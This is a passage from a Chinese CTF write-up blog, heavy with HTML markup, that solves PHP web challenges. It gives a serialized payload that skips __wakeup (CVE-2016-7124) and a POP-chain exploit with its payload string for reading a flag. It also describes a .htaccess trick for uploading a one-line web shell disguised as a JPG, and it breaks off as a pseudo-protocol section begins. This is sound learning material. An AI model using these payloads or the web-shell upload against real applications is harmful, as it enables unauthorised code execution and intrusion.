  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>与上一题反序列化的区别就是，反序列化时会自动调用<code>__wakeup()</code>，这道题当时想了很久，因为原本我的思路是wakeup调用之后再覆盖属性值，但是这个wakeup好像一直执行的样子，覆盖还是过不了，所以另一种思路，跳过<code>__wakeup()</code>,这是漏洞<code>CVE-2016-7124</code></p>
<blockquote>
<p><strong>当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行</strong></p>
</blockquote>
<p>exp：</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">class</span> <span class="nc">HaHaHa</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">        <span class="k">public</span> <span class="nv">$admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">        <span class="k">public</span> <span class="nv">$passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">        <span class="k">public</span> <span class="k">function</span> <span class="fm">__construct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">=</span><span class="s2">&#34;admin&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">            <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">=</span> <span class="s2">&#34;wllm&#34;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">HaHaHa</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="k">echo</span><span class="p">(</span><span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">));</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>把生成的字符串属性改改</p>
<p>Payload：<code>O:6:&quot;HaHaHa&quot;:3:{s:5:&quot;admin&quot;;s:5:&quot;admin&quot;;s:6:&quot;passwd&quot;;s:4:&quot;wllm&quot;;}</code></p>
<h3 id="easyupload30">easyupload3.0<a class="anchor" href="#easyupload30">#</a></h3>
<p>和<code>.htaccess</code>配合，有此文件时会把jpg解析成php文件执行，所以先传一个<code>.htaccess</code>,再把一句话木马改成jpg后缀传上去，蚁剑直接连jpg就行了</p>
<h3 id="pop">pop<a class="anchor" href="#pop">#</a></h3>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="nx">error_reporting</span><span class="p">(</span><span class="mi">0</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl"><span class="nx">show_source</span><span class="p">(</span><span class="s2">&#34;index.php&#34;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">
</span></span><span class="line"><span class="ln"> 6</span><span class="cl"><span class="k">class</span> <span class="nc">w44m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="k">private</span> <span class="nv">$admin</span> <span class="o">=</span> <span class="s1">&#39;aaa&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">protected</span> <span class="nv">$passwd</span> <span class="o">=</span> <span class="s1">&#39;123456&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="nf">Getflag</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">        <span class="k">if</span><span class="p">(</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span> <span class="o">===</span> <span class="s1">&#39;w44m&#39;</span> <span class="o">&amp;&amp;</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span> <span class="o">===</span><span class="s1">&#39;08067&#39;</span><span class="p">){</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">            <span class="k">include</span><span class="p">(</span><span class="s1">&#39;flag.php&#39;</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">            <span class="k">echo</span> <span class="nv">$flag</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">        <span class="p">}</span><span class="k">else</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">admin</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">            <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">passwd</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">            <span class="k">echo</span> <span class="s1">&#39;nono&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">        <span class="p">}</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="k">class</span> <span class="nc">w22m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__destruct</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">        <span class="k">echo</span> <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">
</span></span><span class="line"><span class="ln">30</span><span class="cl"><span class="k">class</span> <span class="nc">w33m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">public</span> <span class="nv">$w22m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">    <span class="k">public</span> <span class="k">function</span> <span class="fm">__toString</span><span class="p">(){</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">        <span class="nv">$this</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">-&gt;</span><span class="p">{</span><span class="nv">$this</span><span class="o">-&gt;</span><span class="na">w22m</span><span class="p">}();</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">        <span class="k">return</span> <span class="mi">0</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="p">}</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="nv">$w00m</span> <span class="o">=</span> <span class="nv">$_GET</span><span class="p">[</span><span class="s1">&#39;w00m&#39;</span><span class="p">];</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="nx">unserialize</span><span class="p">(</span><span class="nv">$w00m</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>这题也做了好久，思路是调用GetFlag包含flag.php，怎么调用？这个看起来只有w33m里<code>__toString</code>的<code>$this-&gt;w00m-&gt;{$this-&gt;w22m}();</code>这个写法我还是第一次见。所以我们需要调用toSring，在w22m里有一句<code>echo $this-&gt;w00m;</code>所以把这个类对象的w00m属性定义为w33m的对象即可，之后销毁w44m对象以调用destruct</p>
<p>exp:</p>
<div class="code-block highlight collapsed"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">
</span></span><span class="line"><span class="ln"> 3</span><span class="cl"><span class="k">class</span> <span class="nc">w44m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="k">private</span> <span class="nv">$admin</span> <span class="o">=</span> <span class="s1">&#39;w44m&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">    <span class="k">protected</span> <span class="nv">$passwd</span> <span class="o">=</span> <span class="s1">&#39;08067&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">
</span></span><span class="line"><span class="ln"> 8</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">
</span></span><span class="line"><span class="ln">10</span><span class="cl"><span class="k">class</span> <span class="nc">w22m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl"><span class="k">class</span> <span class="nc">w33m</span><span class="p">{</span>
</span></span><span class="line"><span class="ln">15</span><span class="cl">    <span class="k">public</span> <span class="nv">$w00m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="k">public</span> <span class="nv">$w22m</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl"><span class="p">}</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">
</span></span><span class="line"><span class="ln">19</span><span class="cl"><span class="nv">$a</span><span class="o">=</span><span class="k">new</span> <span class="nx">w44m</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl"><span class="nv">$b</span><span class="o">=</span><span class="k">new</span> <span class="nx">w22m</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl"><span class="nv">$b</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">=</span><span class="k">new</span> <span class="nx">w33m</span><span class="p">();</span>
</span></span><span class="line"><span class="ln">22</span><span class="cl"><span class="nv">$b</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">=</span><span class="nv">$a</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl"><span class="nv">$b</span><span class="o">-&gt;</span><span class="na">w00m</span><span class="o">-&gt;</span><span class="na">w22m</span><span class="o">=</span><span class="s1">&#39;Getflag&#39;</span><span class="p">;</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl"><span class="nx">unset</span><span class="p">(</span><span class="nv">$a</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl"><span class="k">echo</span> <span class="nx">serialize</span><span class="p">(</span><span class="nv">$b</span><span class="p">);</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">
</span></span><span class="line"><span class="ln">27</span><span class="cl"><span class="cp">?&gt;</span><span class="err">
</span></span></span></code></pre><span class="language ps-1 pe-3 text-sm bg-muted text-muted-foreground">php</span><button class="copy text-muted-foreground p-1 box-content border rounded-lg bg-card" aria-label="Copy code"><div class="ready"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M15 2c.683 0 1.287.343 1.647.866l.085.134H18a2 2 0 0 1 1.995 1.85L20 5v12a5 5 0 0 1-4.783 4.995L15 22H6a2 2 0 0 1-1.995-1.85L4 20V5a2 2 0 0 1 1.85-1.995L6 3h1.268a2 2 0 0 1 1.563-.993L9 2zM7 5H6v15h9a3 3 0 0 0 3-3V5h-1a2 2 0 0 1-2 2H9a2 2 0 0 1-2-2m5 9a1 1 0 0 1 .117 1.993L12 16H9a1 1 0 0 1-.117-1.993L9 14zm3-4a1 1 0 1 1 0 2H9a1 1 0 1 1 0-2zm0-6H9v1h6z"></path></g></svg>
</div><div class="success hidden"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="m12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.018-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="M13.586 2A2 2 0 0 1 15 2.586L19.414 7A2 2 0 0 1 20 8.414V20a2 2 0 0 1-2 2H6a2 2 0 0 1-2-2V4a2 2 0 0 1 2-2zM12 4H6v16h12V10h-4.5A1.5 1.5 0 0 1 12 8.5zm1.59 8.657a1 1 0 0 1 1.415 1.414l-3.111 3.112a1.1 1.1 0 0 1-1.556 0l-1.343-1.344a1 1 0 0 1 1.414-1.414l.707.707ZM14 4.414V8h3.586z"></path></g></svg>
</div></button><button class="collapse-toggle bg-card text-muted-foreground rounded-lg m-2" aria-label="Toggle collapse code block"><svg
  aria-hidden="true"
  class="pure-icon size-5"
  width="22"
  height="22"
  viewBox="0 0 24 24"
  fill="currentColor"><g fill="none"><path d="M24 0v24H0V0zM12.593 23.258l-.011.002l-.071.035l-.02.004l-.014-.004l-.071-.035q-.016-.005-.024.005l-.004.01l-.017.428l.005.02l.01.013l.104.074l.015.004l.012-.004l.104-.074l.012-.016l.004-.017l-.017-.427q-.004-.016-.017-.018m.265-.113l-.013.002l-.185.093l-.01.01l-.003.011l.018.43l.005.012l.008.007l.201.093q.019.005.029-.008l.004-.014l-.034-.614q-.005-.019-.02-.022m-.715.002a.02.02 0 0 0-.027.006l-.006.014l-.034.614q.001.018.017.024l.015-.002l.201-.093l.01-.008l.004-.011l.017-.43l-.003-.012l-.01-.01z"></path><path fill="currentColor" d="m11 17.243l-3.95-3.95a1 1 0 1 0-1.414 1.414l5.657 5.657a1 1 0 0 0 1.414 0l5.657-5.657a1 1 0 0 0-1.414-1.414L13 17.243V4a1 1 0 1 0-2 0z"></path></g></svg>
<span class="desc"> code</span></button><div class="collapse-fade"></div></div>
<p>注意，由于是受保护的属性，所以要对payload进行处理，<a
  href="https://blog.csdn.net/weixin_45844670/article/details/108171963" rel="nofollow noopener noreferrer" target="_blank"
  >原理在此<span style="user-select:none"> ↗</span></a
>
</p>
<p>注意，生成的反序列化字符串里属性长度比字符串长，<code>%00</code>算1字长，所以长度不用改，只要在最里层类名和属性名前加%00即可，有的类名显示为<code>*</code>不影响</p>
<p>Payload：<code>O:4:&quot;w22m&quot;:1:{s:4:&quot;w00m&quot;;O:4:&quot;w33m&quot;:2:{s:4:&quot;w00m&quot;;O:4:&quot;w44m&quot;:2:{s:11:&quot;%00w44m%00admin&quot;;s:4:&quot;w44m&quot;;s:9:&quot;%00*%00passwd&quot;;s:5:&quot;08067&quot;;}s:4:&quot;w22m&quot;;s:7:&quot;Getflag&quot;;}}</code></p>
<h3 id="pseudoprotocols">PseudoProtocols<a class="anchor" href="#pseudoprotocols">#</a></h3>
<p>题目伪协议，进来让我找hint.ph，直接伪协议读，然后解码，提示在test2222222222222.php</p>
<div class="code-block highlight"><pre tabindex="0" class="chroma"><code class="language-php" data-lang="php"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="o">&lt;?</span><span class="nx">php</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="nx">ini_set</span><span class="p">(</span><span class="s2">&#34;max_execution_time&#34;</span><span class="p">,</span> <span class="s2">&#34;180&#34;</span><span class="p">);</span>
